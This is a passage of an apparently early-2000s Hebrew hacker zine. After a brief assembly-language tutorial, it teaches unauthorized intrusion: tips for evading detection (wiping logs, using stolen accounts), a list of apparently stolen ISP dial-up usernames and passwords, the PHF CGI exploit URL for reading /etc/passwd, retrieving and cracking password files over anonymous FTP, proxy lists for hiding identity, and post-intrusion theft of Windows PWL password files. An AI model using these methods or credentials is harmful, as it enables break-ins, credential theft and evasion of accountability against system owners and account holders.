‫‪ IP‬זה אוגר מאוד מאוד חשוב‪ .‬לא מכניסים בו ערכים‪ .‬הוא משמש לציין איפה ההתחלה של‬
‫התוכנית שלכם‪ ,‬ז"א מאיפה להתחיל לבצע את ההוראות‪.‬‬
‫את כל האוגרים האלה ועוד הרבה הרבה אחרים תראו בעזרת תוכנת‬
‫‪ debug‬שבאה עם דוס‪ .‬כדי ללמוד איך להשתמש בתוכנה‪ ,‬פנו ל ‪ reference‬בסוף הטקסט הזה‪.‬‬
‫בלאדי‪/* .‬‬

‫בואו נגיד שזהו אוגר ה ‪ Ax‬שלנו‪ ,‬אני יסביר איך הוא בנוי‪.‬‬

‫‪15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0‬‬

‫‪15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0‬‬

‫האוגר שיותר למעלה‪ ,‬מראה לכם את ‪ AX‬במצב טבעי‪ ,‬כולל את כל ‪ 16‬הביטים שלו ואילו האוגר‬
‫שיותר למטה מחולק לשתיים‪ ,‬כל חלק ‪ 8‬ביט כמו שכתבתי למעלה‪.‬‬
‫ניתן לך תרשים של כל האוגרים שנשתמש בהם‪:‬‬

‫‪0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Ax‬‬
‫‪0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Bx‬‬
‫‪0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Cx‬‬
‫‪0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Dx‬‬

‫אני בטוח ששמתם לב שאמרתי שיש ‪ 16‬ביטים בכל אוגר וכתוב רק ‪ ,15‬לאלה שלא הבינו למה‪,‬‬
‫כמו שאמרתי למעלה‪ ,‬באסמבלר עושים את כל הסדרה פחות ‪ 0( 1‬משומש כמו‪-‬כן)‪.‬‬
‫אוקי‪ ,‬אני מקווה שעד לפה אתם עוקבים ועכשיו הייתי רוצה לעבור לפקודות‪.‬‬
‫אוקי עכשיו עוד משהו‪ ,‬כל אוגר שמחולק לשתיים יקרא כך‬
‫| ‪Ax -‬‬ ‫‪AL‬‬ ‫|‬ ‫‪AH‬‬
‫‪ AH‬מסמל אוגר ‪ A–high‬ואילו ‪ AL‬מסמל אוגר ‪.A–low‬‬
‫ככה כל אחד ואחד מהם‪ ,‬מ ‪ AX‬עד ל ‪.DX‬‬
‫‪ AX‬שווה ‪ 16‬סיביות‪ ,‬ואילו ‪ AL‬שווה ‪ 8‬סיביות‪ ,‬חשוב מאוד לזכור את זה‪ ,‬קצת תרגול‪:‬‬
‫אני רושם אוגר או חלק מאוגר ואתם רושמים כמה סיביות יש בתוכו‪.‬‬
‫‪? = AX‬‬
‫‪? = BL‬‬

‫‪206‬‬
‫‪? = AL‬‬
‫‪? = CH‬‬
‫‪? = DL‬‬
‫(תשובות בסדר יורד‪),16,8,8,8,8 ,‬‬
‫(* רמז‪ ,‬הראשון זה ‪).16‬‬

‫פקודות‪.‬‬
‫אני אתן פקודה‪ ,‬איך כותבים אותה ומה פירוש הפקודה‪.‬‬
‫לא לשכוח‪ ,‬יש פסיק אחרי כל שם של אוגר ולא לשכוח נקודה פסיק בסוף הפקודה (;)‪.‬‬
‫ברירת המחדל של הקומפלייר היא שונה בכל תוכנה ותוכנה יש כאלה שאצלם ברירת המחדל היא‬
‫‪ ,16‬אז כל מספר שתכניס היא תחשיב אותו בבסיס ‪ 16‬וכדומה‪ ,‬אז בואו נגיד שכרגע ברירת‬
‫המחדל שלנו היא ‪ ,10‬בסיס דצימלי‪ ,‬עשרוני‪.‬‬
‫הדוגמא תהיה מסומנת באדום‪.‬‬

‫העתקה של ערך – ‪Mov‬‬


‫צורה ‪Mov Op1, Op2; -‬‬
‫(‪Mov Ax, 123; )Ax123‬‬

‫פעולת חיבור בין שני ערכים – ‪Add‬‬


‫צורה ‪Add Op1, Op2; -‬‬
‫;‪Mov Ax, 12‬‬
‫;‪Mov Bx, 12‬‬
‫(‪Add Ax, Bx; )Ax  24‬‬

‫פעולת חיסור בין שני ערכים – ‪Sub‬‬


‫צורה ‪Sub Op1, Op2; -‬‬
‫;‪Mov Ax, 12‬‬
‫;‪Mov Bx, 12‬‬
‫(‪Sub Ax, Bx; )Ax  0‬‬

‫אני חושב שזה מספיק בינתיים‪ ,‬עכשיו אני אתן לכם כמה תרגילים ‪ ,‬תעבדו עליהם‪ ,‬תיישמו את‬
‫מה שלמדתם וניפגש בכתבה הבאה שלי‪ ,‬עד אז‪ ,‬יבוא שלום על ישראל‪.‬‬

‫האוגר ‪ AX‬קולט ערך ‪ ,12‬האוגר ‪ BX‬קולט ערך ‪ ,15‬האוגר ‪ CX‬קולט ערך ‪ 18‬ואז עושים חשבון‬
‫בין כולם‪ ,‬אוגר ‪ AX‬יהיה שווה ‪.45‬‬
‫אם לא תצליחו אז אני מוסיף בסוף העמוד את התשובה הנכונה‪:‬‬

‫להתראות ועד לפעם הבאה‪ ,‬שמרו על עצמכם‪Pirsing ,‬‬

‫‪///////////////////‬‬
‫;‪Mov ax, 12‬‬
‫;‪Mov bx, 15‬‬
‫;‪Mov cx, 18‬‬
‫;‪Add Ax, Bx‬‬
‫;‪Add Ax, Cx‬‬
‫‪///////////////////‬‬

‫‪207‬‬
‫‪:reference */‬‬
‫"המדריך לשפת אסמבלי" (הוצאת הוד עמי)‪ .‬יש שם המון זבל‪ ,‬אבל ה ‪ 10 -‬פרקים הראשונים‬
‫רלוונטיים לנו‪.‬‬
‫שמעתי על ספר מצויין בנושא של כותב ישראלי‪ ,‬לצערי אני לא זוכרת את השם‪ .‬אלי משהו‪ .‬‬

‫כמו כן‪ 2 ,‬מדריכים של פראק‪:‬‬


‫‪Smashing the stack for fun and profit‬‬
‫‪Win32 buffer overflows‬‬

‫הספר הראשון גם יציג לכם את תוכנת ‪ debug‬וכך תוכלו לנסות דוגמאות פשוטות כמו הדוגמאות‬
‫הנ"ל‪ .‬אין צורך להוריד תוכנת אסמבלר (לא קוראים לזה "קומפיילר"‪ ,‬כי זאת לא שפת עילית)‬
‫מורכבת כמו ‪ MASM‬לצורך הזה‪.‬‬
‫בלאדי‪/* .‬‬

‫‪][EOF 144-144-144-144-144‬‬ ‫[]‪EOF‬‬

‫‪By Pirs[I]ng‬‬

‫‪208‬‬
‫פריצה נכונה‬

‫יש כמה דברים שצריך לשמור עליהם כדי לעבוד נכון ושלא יתפסו אותך‪:‬‬

‫‪ .I‬תשתמש במחברת‪ ,‬שבה תרשום את כל הדברים שהשגת ‪ /‬תצטרך להשיג ועוד‪ ..‬לעולם אל‬
‫תשאיר פרטים כאלה על‬
‫הכונן הקשיח שלך‪.‬‬

‫‪ .II‬כל תוכנות העזר שלך‪ ,‬צרוב אותם ותשתמש בהם רק בתוך הסידי רום‪.‬‬

‫‪ .III‬אל תפחד להיות פרנואיד! זה בסדר‪ ..‬אתה עובר על החוק‪ .‬זה בסדר לשים סיסמאות להכל‬
‫או להצפין דברים‬
‫על המחשב שלך‪..‬‬

‫‪ .IV‬אם פרצת למחשב‪ ,‬תמחוק את קובץ ה‪ LOG-‬עם המידע על ה‪ HOST-‬שלך וכו‪..‬‬

‫‪ .V‬בחיים אל תשאיר שם פרטי‪ ,‬משפחה‪ ,‬טלפון כתובת וכו‪..‬‬

‫‪ .VI‬תמיד שיהיה לך ‪ FireWall‬ו‪ Proxy-‬עובדים‪.‬‬

‫‪ .VII‬כשאתה פורץ‪ ,‬אל תהיה מחובר דרך ‪ UserName‬שלך‪ .‬השתמש בשם משתמש שגנבת‪.‬‬
‫(ראה למטה)‬

‫‪ .VIII‬אם אתה עומד לפרוץ למקום גדול‪ ,‬אל תפרוץ מהבית!! פרוץ דרך טלפונים ציבוריים או‬
‫'קפה אינטרנט'‪.‬‬

‫‪ .IX‬לא רצוי להשאיר ‪ LOG‬עם הניק שלך אבל זה החלטה שלך‪.‬‬

‫‪ .X‬אל תתביש לשאול שאלות מאנשים שמבינים יותר ממך‪ .‬כך תלמד יותר ותבין יותר‪.‬‬

‫פריצה נעימה‪...‬‬

‫החלטתי לרשום כאן רשימה של סיסמאות חיבור לאינטרנט כדיי שיהיה לכם התחלה‪..‬‬
‫כל הסיסמאות הם חיבור רגיל של נטויזיון‪.‬‬
‫מספרי גישה‪:‬‬
‫ירושליים ‪ , 02 6596666 -‬חיפה ‪ , 04 8601000 -‬תל אביב ‪03 5113000 -‬‬
‫רחובות ‪ , 08 9360000 -‬הרצליה ‪ , 09 9529999 -‬ראשון לציון ‪03 9533333 -‬‬

‫סיסמה‪:‬‬ ‫שם משתמש‪:‬‬


‫‪--------‬‬ ‫‪-----------‬‬
‫‪xS_1AsP‬‬ ‫‪ohadshap‬‬
‫‪a48ke7J‬‬ ‫‪avx3‬‬
‫‪Umm65fE‬‬ ‫‪sicamtec‬‬
‫‪dfbF6p1‬‬ ‫‪roniroz‬‬
‫‪inbaloren‬‬ ‫‪tasgiv‬‬
‫‪6leqTee‬‬ ‫‪avniador‬‬
‫‪Q6h-fZw‬‬ ‫‪sgoptics‬‬
‫‪FZJ5426‬‬ ‫‪sk_pr‬‬

‫‪209‬‬
‫אם אחד הסיסמאות לא עובד עליכם‪ ,‬לכו להגדרות של החיוג‪ ,‬ותלחצו על "להפעיל את‬
‫‪ Terminal‬אחרי החיוג"‪,‬‬
‫ואז תקישו את שם המשתמש והסיסמה ידנית‪ ,‬ותבדקו מה הבעיה‪.‬‬
‫נטויזיון (וכל החברות) לא מרשה ליותר ממשתמש אחד לעלות באותו הזמן על האינטרנט‪.‬‬

‫‪ZiroCool‬‬

‫‪210‬‬
‫פריצות של פעם‬

‫אני הולך לספר לכם אגדה ישנה‪ ,‬ואגדה קצת פחות ישנה‪.‬‬
‫האגדה הישנה היא אגדת ה‪ .PHF-‬וחברתה‪ ,‬הפחות ישנה‪ ,‬נקראת ‪.FTP Hacking‬‬
‫אלו הן‪ ,‬גבירותי ורבותי‪ ,‬שתי השיטות הכמעט‪-‬הכי‪-‬ישנות שקיימות‪.‬‬
‫יש להקדים ולומר‪ ,‬ששיטות אלו‪ ,‬כבר כמעט ולא שמישות כיום‪.‬‬
‫‪ :PHF‬שיטה זו‪ ,‬פועלת אולי על שני אתרים בכל הרשת (!) (ואני מצאתי אחד!!)‪.‬‬
‫‪ :FTP‬שיטה קצת פחות ישנה‪ ,‬פועלת אולי על כ‪ 15% -‬מכלל האתרים שקיימים‪.‬‬

‫אתם בטח שואלים את עצמכם‪" :‬אז למה הפסיכי הזה רוצה לספר לנו על שיטות שלא עובדות‬
‫כבר‪ ,‬הרי אנחנו‬
‫פה בשביל ללמוד דברים שעובדים‪ ,‬לא בשביל להתעסק עם קשישות בנות תשעים עם פופיק בין‬
‫השדיים???"‬
‫אז זהו‪ ,‬שלא‪.‬‬
‫מי שמתיימר לקרוא לעצמו האקר (ותשכחו מזה‪ ,‬אני אפילו לא מנסה)‪ ,‬כדאי ואף רצוי‪ ,‬שיקרא‬
‫כל דבר‪ ,‬כ‪-‬ל ד‪-‬ב‪-‬ר‪ ,‬שהוא מוצא וקשור בחומר שמענין אותו (ואל תגידו שזה לא מענין)‪.‬‬
‫ולכן‪ ,‬אני בכל זאת אספר לכם פה מעשיה קטנה על סב‪-‬סב‪-‬סב‪-‬סב‪-‬סבתא ‪ PHF‬וסבתא ‪FTP‬‬
‫‪.Hacking‬‬

‫השיטה הראשונה‪PHF :‬‬


‫‪--------------------‬‬
‫או יותר נכון ‪ PHF‬ז"ל‪.‬‬
‫כמו שכבר אמרתי‪ ,‬היא פועלת אולי (!) על שני אתרים בכל הרשת‪.‬‬
‫אבל בכל זאת‪ ,‬רק בשביל הרקורד‪ ,‬ובגלל שהיא באמת הכי פשוטה‪ ,‬אני אציין אותה פה‪.‬‬
‫אז מה צריך לעשות?‬
‫צריך לפתוח את הדפדפן‪ ,‬לבחור אתר‪-‬יעד ולכתוב במקום של הכתובת את הפרמטרים של‬
‫השיטה‪.‬‬
‫ולהלן דוגמא‪:‬‬

‫נגיד שאנחנו רוצים לפרוץ לאתר‬


‫‪www.bla.com‬‬
‫אז נכנס לדפדפן‪ ,‬ונכתוב‬
‫‪http://www.bla.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd‬‬
‫זהו‪ ,‬הכי פשוט בעולם‪.‬‬
‫איך זה פועל?‬
‫אז ככה‪.‬‬
‫בשרתים של פעם‪ ,‬היה קיים קובץ סקריפט‪ ,‬שעל ידי קבלת פקודה מסוימת‪ ,‬היה נותן גישה‬
‫לקריאת‬
‫קבצים השמורים על השרת‪.‬‬
‫ובצורה הזאת אנחנו בעצם מקבלים גישה לקרוא את קובץ הסיסמאות‪.‬‬

‫מהו קובץ הסיסמאות‪:‬‬


‫ברגע שנשיג את קובץ הסיסמאות (בדרך כלל נקרא ‪ passwd‬ללא סיומת ) נוכל להריץ עליו‬
‫תוכנה שתפרוץ‬
‫את הסיסמא‪.‬‬

‫הנה דוגמא לקובץ סיסמאות פשוט ביותר‪:‬‬

‫‪root:RqX6dqOZsf4BI:0:1:System PRIVILEGED Account,,,:/:/bin/csh‬‬


‫‪field:PASSWORD HERE:0:1:Field Service PRIVILEGED‬‬
‫‪Account:/usr/field:/bin/csh‬‬

‫‪211‬‬
‫‪operator:PASSWORD HERE:0:28:Operator PRIVILEGED‬‬
‫‪Account:/opr:/opr/opser‬‬
‫‪ris:Nologin:11:11:Remote Installation Services Account:/usr/adm/ris:/bin/sh‬‬
‫‪:/:daemon:*:1:1:Mr Background‬‬

‫אל תבהלו‪ ,‬זה לא כלכך נורא‪.‬‬


‫מה שמענין אותנו (בינתיים) זה שני החלקים הראשונים של כל שורה‪ .‬למשל‪:‬‬
‫‪root:RqX6dqOZsf4BI‬‬
‫החלק הראשון‪ ,root ,‬הוא שם המשתמש‪.‬‬

‫הערה‪ :‬המשתמש ‪ root‬הוא המשתמש הראשי‪ ,‬בעל האתר כביכול‪ .‬לו יש את הגישה לכל‬
‫הקבצים בשרת‪.‬‬
‫אנחנו צריכים לשאוף לקבל את הסיסמא למשתמש זה‪.‬‬

‫החלק השני‪ ,RqX6dqOZsf4BI ,‬הוא הסיסמא המוצפנת‪.‬‬


‫והיה והצלחתם להשיג קובץ סיסמאות שנראה ככה‪ ,‬כל שעליכם לעשות הוא להריץ עליו תוכנת‬
‫פריצה‬
‫(יוסבר בהמשך כיצד)‪.‬‬

‫אבל!‬
‫לפעמים‪ ,‬תצליחו להגיע אל קובץ הסיסמאות‪ ,‬ותגלו שהוא נראה כך‪:‬‬

‫‪:/:root:*:0:1:Operator‬‬
‫‪:ftp:*:53:53:anonymous ftp:/pub‬‬
‫‪:t2:*:201:201:Takaoka Tadashi:/pub‬‬

‫שימו לב‪:‬‬
‫מה קרה?‬
‫בשורה הראשונה‪ ,‬יש לנו את החלק הראשון‪ ,‬שאנחנו יודעים שהוא שם המשתמש ‪root‬‬
‫ואחרי הנקודותיים‪ ,‬היכן שאמורה להיות הסיסמא המוצפנת‪ ,‬יש כוכבית!!!!!!‬
‫זהו‪ ,‬גבירותי ורבותי‪ ,‬קובץ "מוצל"‪.‬‬
‫זאת אומרת שעברו על הקובץ‪ ,‬ועשו "צל" על כל סיסמא‪ .‬פשוט העבירו אותה לקובץ אחר‪ ,‬שאין‬
‫לנו גישה אליו‪.‬‬
‫במקרה ונתקלתם בקובץ כזה‪ ,‬אין לכם ברירה‪ ,‬אלא לנסות מקום אחר‪.‬‬
‫אין שום אפשרות לפצח קובץ "מוצל"‪.‬‬

‫עד כאן שיטת ה‪.PHF-‬‬

‫השיטה השניה‪FTP HACKING :‬‬


‫‪---------------------------‬‬
‫זוהיא השיטה השניה‪ ,‬אך גם לגבי איכותה‪ ,‬הוטלו ספקות לאחרונה‪.‬‬

‫ראשית‪ ,‬נזדקק לתוכנת ‪ .FTP‬השתיים הנפוצות הן‪ Ws_ftp :‬ו ‪.Cute ftp‬‬
‫אך אני ממליץ גם על ‪.bulletproof Ftp‬‬
‫לאחר שהורדתם את התוכנה‪ ,‬תלמדו לעבוד איתה צ'יק צ'אק‪ ,‬זה לא מסובך במיוחד‪.‬‬
‫צריך להיות מקום להכניס את הכתובת‪ ,‬ואז להתחבר‪.‬‬
‫אם השרת אליו אתם מנסים להתחבר מבקש ממכם שם משתמש וסיסמא (כמעט בטוח שהוא‬
‫יבקש)‪,‬‬
‫השתמשו בפרטים הללו‪:‬‬
‫‪username: anonymous‬‬
‫‪password: some@host.com‬‬

‫‪212‬‬
‫אם מכניסים בתור שם משתמש את המילה ‪anonymous‬‬
‫יש שרתים שמרשים לכל מבקר להכנס‪ ,‬בתנאי שהוא יספק את כתובת האי‪-‬מייל שלו‪ .‬כמובן‬
‫שאנחנו לא נספק‬
‫כתובת מקורית‪ ,‬אלא נכתוב ‪some@host.com‬‬
‫אם הגישה נדחית‪ ,‬נסה שרת אחר‪.‬‬

‫לאחר שנכנסת בהצלחה לשרת עם שם המשתמש ‪ anonymous‬אתה תגיע לספריה הראשית‬


‫של השרת (בדרך כלל)‪.‬‬
‫הספריה שאותה אנחנו מחפשים נקראת ‪etc‬‬
‫אם ישנה ספריה כזאת‪ ,‬כנס אליה‪ .‬אם אינך רואה ספריה כזאת‪ ,‬נסה להסתובב בשרת ולחפשה‪,‬‬
‫או שתנסה שרת אחר‪.‬‬
‫בספרית ‪ etc‬בדרך כלל יש שני קבצים‪.‬‬

‫<< ‪ ---------------‬זה הקובץ שאנחנו צריכים להוריד!!!‬ ‫‪passwd‬‬


‫<< ‪ -----------‬קובץ שמכיל שמות קבוצות משתמשים (בדרך כלל מיותר‬ ‫‪group‬‬
‫בשבילנו)‪.‬‬

‫הורידו את הקובץ ‪ passwd‬למחשב שלכם‪ ,‬בדקו שהוא אינו "מוצל" (שאכן אפשר לראות בו את‬
‫הסיסמאות המוצפנות)‪.‬‬
‫והיה והצלחתם להשיג קובץ טוב (אתם אמורים לדעת מה זה קובץ "טוב"‪ ,‬אם לא‪ ,‬אז בתחילת‬
‫המאמר מוסבר על‬
‫קבצי סיסמאות)‪ ,‬הריצו עליו תוכנת פריצה‪.‬‬

‫"רגע רגע רגע!"‬


‫"איך משתמשים בתוכנות פריצה???"‬

‫מה אתם נלחצים?! בשביל זה אני פה! (כן כן‪ ,‬עדין קוראים לי ‪ ,a03l‬אני יודע שזה לא שם קל‪,‬‬
‫אבל תתרגלו!)‬
‫אני אנסה להסביר לכם כיצד לעבוד עם תוכנה אחת מיני רבות‪ ,‬שקיימות ברשת‪.‬‬
‫יש לציין שהיא איננה הטובה ביותר‪ ,‬כי אם הפשוטה ביותר‪.‬‬
‫התוכנות המומלצות הן‪:‬‬
‫‪Cracker Jack‬‬
‫או‬
‫‪John The Ripper‬‬

‫התוכנה שאני אסביר איך לעבוד איתה‪ ,‬נקראת ‪Killer Cracker‬‬


‫אך קודם כל‪ ,‬תנו לי להסביר לכם כיצד עובדת תוכנת פריצה (כמובן שיש כמה שיטות‪ ,‬אני‬
‫אסביר רק על‬
‫אחת‪ ,‬כי אני עצלן ‪):‬‬
‫תוכנת פריצה‪ ,‬לוקחת את הקובץ עם הסיסמאות‪ ,‬ומנסה על כל משתמש שרשום בו אלפי או‬
‫מיליוני סיסמאות‪,‬‬
‫שמאוחסנות בקובץ המילון (‪.)dictionary‬‬
‫קבצי מילון מכילים כל מיני סוגים של סיסמאות‪ ,‬שאותם מנסה התוכנה להעביר דרך הקובץ‬
‫סיסמאות ולראות אם‬
‫יש התאמה‪.‬‬
‫זאת אומרת‪ ,‬שכמה שהקובץ מילון שלך יהיה גדול יותר‪ ,‬כך יגדל הסיכוי שלך לפרוץ קובץ‬
‫סיסמאות‪.‬‬
‫קבצי מילון ניתן להוריד מכמעט כל אתר האקינג שמכבד את עצמו‪.‬‬
‫כמו כן‪ ,‬יש אלפי תוכנות שבונות קבצי מילון לפי חוקים מסויימים‪.‬‬

‫למשל‪ ,‬אתה יכול לבקש מתוכנה שתכין לך קובץ מילון שיכיל את כל הצירופים האפשריים של‬
‫האותיות‬
‫‪ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz‬‬
‫והמספרים ‪1234567890‬‬

‫‪213‬‬
‫ככה כמעט בטוח שתצליח לפרוץ את הקובץ‪ ,‬הבעיה היא שיש בערך‬
‫‪33,000,000,000,000,000,000,000,000,000,000‬‬
‫(‪ - ZiroCool , 853,058,371,866,181,888‬אני מתעקש‪( ...‬מ‪ 1-‬עד ‪ 10‬תווים))‬

‫צירופים אפשריים‪ ,‬והמחשב בחיים לא יסיים להריץ את כולם‪ ,‬ואולי אפילו יתקע‪.‬‬
‫אני ממליץ להשיג קובץ מוכן‪ ,‬לאסוף מאחרים‪ ,‬או לעשות אחד‪.‬‬
‫רצוי להשיג קובץ מילון בערך בגודל של בין ‪ 10‬ל ‪ 15‬מגה‪.‬‬

‫אוקיי‪ ,‬אז איך משתמשים ב ‪?Killer Cracker -‬‬


‫אחרי ששמרנו את הקובץ סיסמאות באותה הספריה יחד עם קילר קראקר‪ ,‬נכנס לדוס‪ ,‬דרך‬
‫ווינדוס‪.‬‬
‫נלך לספריה בה הותקן הקראקר‪ ,‬ונכתוב‪:‬‬
‫‪kc‬‬
‫עכשיו התוכנה תבקש מאיתנו ‪ PWfile‬נחמד מצידה‪.‬‬
‫נכניס את השם בו שמרנו את קובץ הסיסמאות שהורדנו (בדרך כלל ‪.)passwd‬‬
‫____‬
‫|חשוב| ‪ :‬את קובץ הסיסמאות יש לשמור באותה הספריה של התוכנה!!!‬
‫‪----‬‬
‫וכמובן‪ ,‬נקיש ‪.Enter‬‬

‫עכשיו התוכנה תבקש ‪.Wordfile‬‬


‫מיותר לציין שאת קובץ המילון שהורדתם בעמל רב מהאינטרנט אתם צריכים לשמור באותה‬
‫ספריה של התוכנה‪.‬‬
‫הכניסו את השם של קובץ המילון (למשל‪)dictionary.txt :‬‬
‫ואז התוכנה תבקש ‪ ,Validfile‬תכניסו סתם שם של קובץ טקסט חדש‪ ,‬כמו ‪ new.txt‬ואז הקישו‬
‫‪.Enter‬‬

‫לאחר שהקראקר יסיים לסרוק את קובץ הסיסמאות (עלול לקחת זמן‪ ,‬ואפילו הרבה)‪ ,‬פיתחו את‬
‫הקובץ שהכנסתם‬
‫ב ‪ ,validfile‬ושם אתם אמורים לראות משהו שדומה לזה (פחות או יותר)‪:‬‬
‫‪root:root:0:1:System PRIVILEGED Account,,,:/:/bin/csh‬‬

‫דומה לקובץ הסיסמאות‪ ,‬נכון?‬


‫רק שפה‪ ,‬הסיסמאות לא מוצפנות‪ .‬כאן למשל‪ ,‬למשתמש ‪ ,root‬הסיסמא תהיה ‪.root‬‬

‫עכשיו נראה אם תבינו מה יש פה‪:‬‬


‫‪Mark:Loadit:0:1:System PRIVILEGED Account,,,:/:/bin/csh‬‬
‫נכון מאוד!‬
‫כאן אפשר לראות ששם המשתמש הוא ‪ Mark‬והסיסמא היא ‪.Loadit‬‬
‫‪------------------------------------------------------------------------------‬‬
‫‪-‬ולסיום‪..‬‬
‫כיום‪ ,‬קיימות שיטות טובות יותר לפרוץ‪ ,‬כאשר הנפוצה והשמישה ביותר היא שיטת ה‬
‫‪ exploits‬עליה נפרט‬
‫בהזדמנות אחרת‪.‬‬
‫אני מקווה שהפנמתם ולמדתם!‬
‫עד כאן להפעם‪.‬‬
‫ועד לפעם הבאה‪ ,‬תזכרו שההבדל בין ווינר ללוזר‪ ,‬הוא שהווינר יודע לקום אחרי שהוא חטף מכה‬
‫ונפל לרצפה‪,‬‬
‫והלוזר נשאר לשכב ומרחם על עצמו‪.‬‬

‫‪.a03l‬‬
‫‪Phadiskiastorimansus‬‬

‫‪214‬‬
‫‪ - Proxy‬שמירה על הזהות האמיתית‬

‫הרבה אנשים תוהים איך אנשים ב‪ IRC-‬או באתרים אחרים אינם מראים את הזהות האמיתית‬
‫שלהם‪.‬‬
‫אפילו כשמנסים לבדוק את המידע על המשתמש‪ ,‬מקבלים דברים כמו ‪.fuck.bill.gates.co.uk‬‬
‫לכן אסביר לכם איך משתמשים בפרוקסי‪ ,‬ומה זה פרוקסי בכלל‪.‬‬

‫מזה פרוקסי (‪ )Proxy‬ולמה צריך אותו בכלל?‬


‫‪-----------------------------------------‬‬
‫פרוקסי זה בעצם סרבר שעובד על המחשב שלך‪ .‬הסרבר מקשר בינך לבין האינטרנט‪.‬‬
‫כל מה שאתה מעביר דרך האינטרנט עובר דרך הפרוקסי וכל מה שאתה מקבל עובר גם דרכו‪.‬‬
‫למה צריך? ‪-‬בדרך כלל אנחנו ממש ממש פרנואידים (בצדק)‪ ,‬והשיטה הזאת מסתירה את‬
‫הזהות שלנו‪.‬‬

‫המחשב שלך‬ ‫פרוקסי‬ ‫אינטרנט‬ ‫|‬

‫חיבור דרך ‪IRC‬‬


‫‪---------------‬‬
‫בהגדרות של תוכנת ה‪ client-‬שלך (בדרך כלל ‪ )mIRC‬יהייה באפשרויות‪ ,‬אפשרות להגדיר‬
‫פרוקסי או‬
‫‪( FireWall‬במקרה שלנו זה אותו דבר)‪.‬‬
‫נגיד ואנחנו משתמשים ב‪:mIRC-‬‬
‫לוחצים בתפריט על ‪.File--> Options--> Connect --> Firewall‬‬
‫הדברים הנחוצים לנו כדיי ליצור פרוקסי הם‪:‬‬

‫‪ -‬הסרבר שנותן לך את הפרוקסי‬ ‫‪Hostname‬‬


‫‪ -‬ה‪ port-‬שהסרבר שנותן לך פרוקסי משתמש בו‬ ‫‪Port‬‬
‫‪ - Use Firewall‬מסמנים על זה '?' כדי להפעיל את ההגנה‪.‬‬

‫לדוגמא ‪.proxy.encomix.es:8080 -‬‬


‫‪-------------- ----‬‬
‫|‪ -‬שם הסרבר‪.‬‬ ‫|‬
‫|‪ -‬ה‪ .port-‬בדרך כלל יהייה ‪8080‬‬

‫חיבור דרך אתרים (‪)HTTP‬‬


‫‪------------------------‬‬
‫כשאתה מתחבר לאתר‪ ,‬הסרבר מקבל את המידע עלייך דרך הדפדפן‪.‬‬
‫המידע נראה משהו כמו זה‪:‬‬
‫(‪xxx.xxx.xxx.xxx - (compatible; MSIE 5.0; Windows 98‬‬
‫‪--------------- -----------------------------‬‬
‫|‬ ‫|‬
‫|‪ -‬כתובת האיי פי שלך‬ ‫|‬
‫|‪ -‬שם הדפדפן שאתה משתמש‪ ,‬ומערכת ההפעלה‬

‫‪215‬‬
‫יש עוד מידע שהסרבר מקבל עלייך אבל הוא תאריך‪ ,‬שעה והמקומות שנכנסת באתר אז זה לא‬
‫חשוב‪.‬‬
‫כדי שהסרבר לא ייראה פרטים עלייך יש להתקין פרוקסי בדפדפן‪:‬‬
‫כדי להתקין יש ללחוץ על‪Tools--> Internet Options :‬‬
‫להגיע ל‪ Connections--> Settings -‬ולסמן שם ‪.use a proxy server‬‬
‫הגדרת הפרוקסי האתר היא כמו הגדרה של ה‪ IRC-‬כך שזה לא יהייה קשה‪.‬‬

‫רשימת פרוקסי (‪ )Proxy‬אפשריים‬


‫‪------------------------------‬‬
‫‪cache1.dsldesigns.com:1080‬‬
‫‪nt.onninen.ee:8080‬‬
‫‪i.am.the.god.of.ircnet.pl:8080‬‬
‫‪proxy-wi.dataway.ch:8080‬‬
‫‪bess3.proxy.lacoe.edu:8080‬‬
‫‪proxy.iprolink.ch:8080‬‬
‫‪prox2.mediaserv.net:8080‬‬
‫‪magica.ntb.no:8080‬‬
‫‪DSL-2-149.isd.net:1080‬‬

‫לסיכום‪ ,..‬תשמרו טוב טוב על הזהות האמיתית שלכם‪ ,‬ואל תיתפסו‪.‬‬

‫‪ PsykoTraz‬ו ‪ZiroCool‬‬

‫‪216‬‬
‫עבודה נכונה בתוך מחשב‬

‫פרצנו לתוך המחשב‪ ..‬קיבלנו את הכוננים ‪ /‬תיקיות‪ ..‬מה עכשיו?‬

‫השלב הראשון שאנחנו צריכים לעשות הוא לבדוק על איזה מחשב המשתמש עובד‪.‬‬
‫השיטה הכי טובה לעבוד עכשיו היא ב‪ ,Dos-‬ולא ב‪ Windows-‬מפני שהדוס הוא הרבה יותר‬
‫מהיר בלהראות ולהעתיק קבצים‪ ,‬מפני שהוא לא עובד על סביבת עבודה גראפית‪.‬‬

‫המטרה שלנו עכשיו היא להוריד את קובץ הסיסמאות ולפרוץ אותו‪.‬‬


‫עושים ‪ dir‬ובודקים מהיא ספרית ה‪.Windows-‬‬
‫בדרך כלל הספריה היא ‪ .Windows, Win, Win98, WinME, Winnt -‬אם לא מצאתם אחד‬
‫מן הספריות‪,‬‬
‫תפעילו את הדימיון ותבדקו איזו סיפריה דומה בשם‪ ..‬במצב שלא מצאנו (אין כזה דבר‪ ,‬אלה אם‬
‫אתה ממש דפוק‪ ,)..‬כנס לתוך הכונן ‪ Admin$‬בתקווה שיש אחד‪ ,‬והוא ישר יגיע לתוך ספרית‬
‫מערכת ההפעלה‪.‬‬
‫לא ממש חשוב לנו מהיא גירסת מערכת ההפעלה‪ ,‬אבל מה שכן חשוב לנו זה האם היא‬
‫‪ NT/2000‬או ‪.ME/98/95‬‬
‫‪ Windows NT/2000‬עובד בצורה שונה של שמירת סיסמאות והוא הרבה יותר מסובך לפרוץ‪.‬‬
‫במצב שיש לנו ‪.NT/2000‬‬
‫נעזוב כעת את הקטע הזה‪ .‬במצב 'נורמלי' שיש לנו גירסה אחרת‪ ,‬נרשום ‪.dir *.pwl‬‬
‫קובץ ה‪ PWL-‬הוא קובץ הסיסמאות של אותו המשתמש‪ .‬יכול להיות שנקבל יותר מקובץ אחד‬
‫וזה בגלל שיש יותר‬
‫ממשתמש אחד על המחשב‪ .‬במצב כזה אני מציע להוריד את כל קבצי הסיסמאות ולפרוץ את‬
‫כולם‪ .‬אבל אם אתם רוצים‬
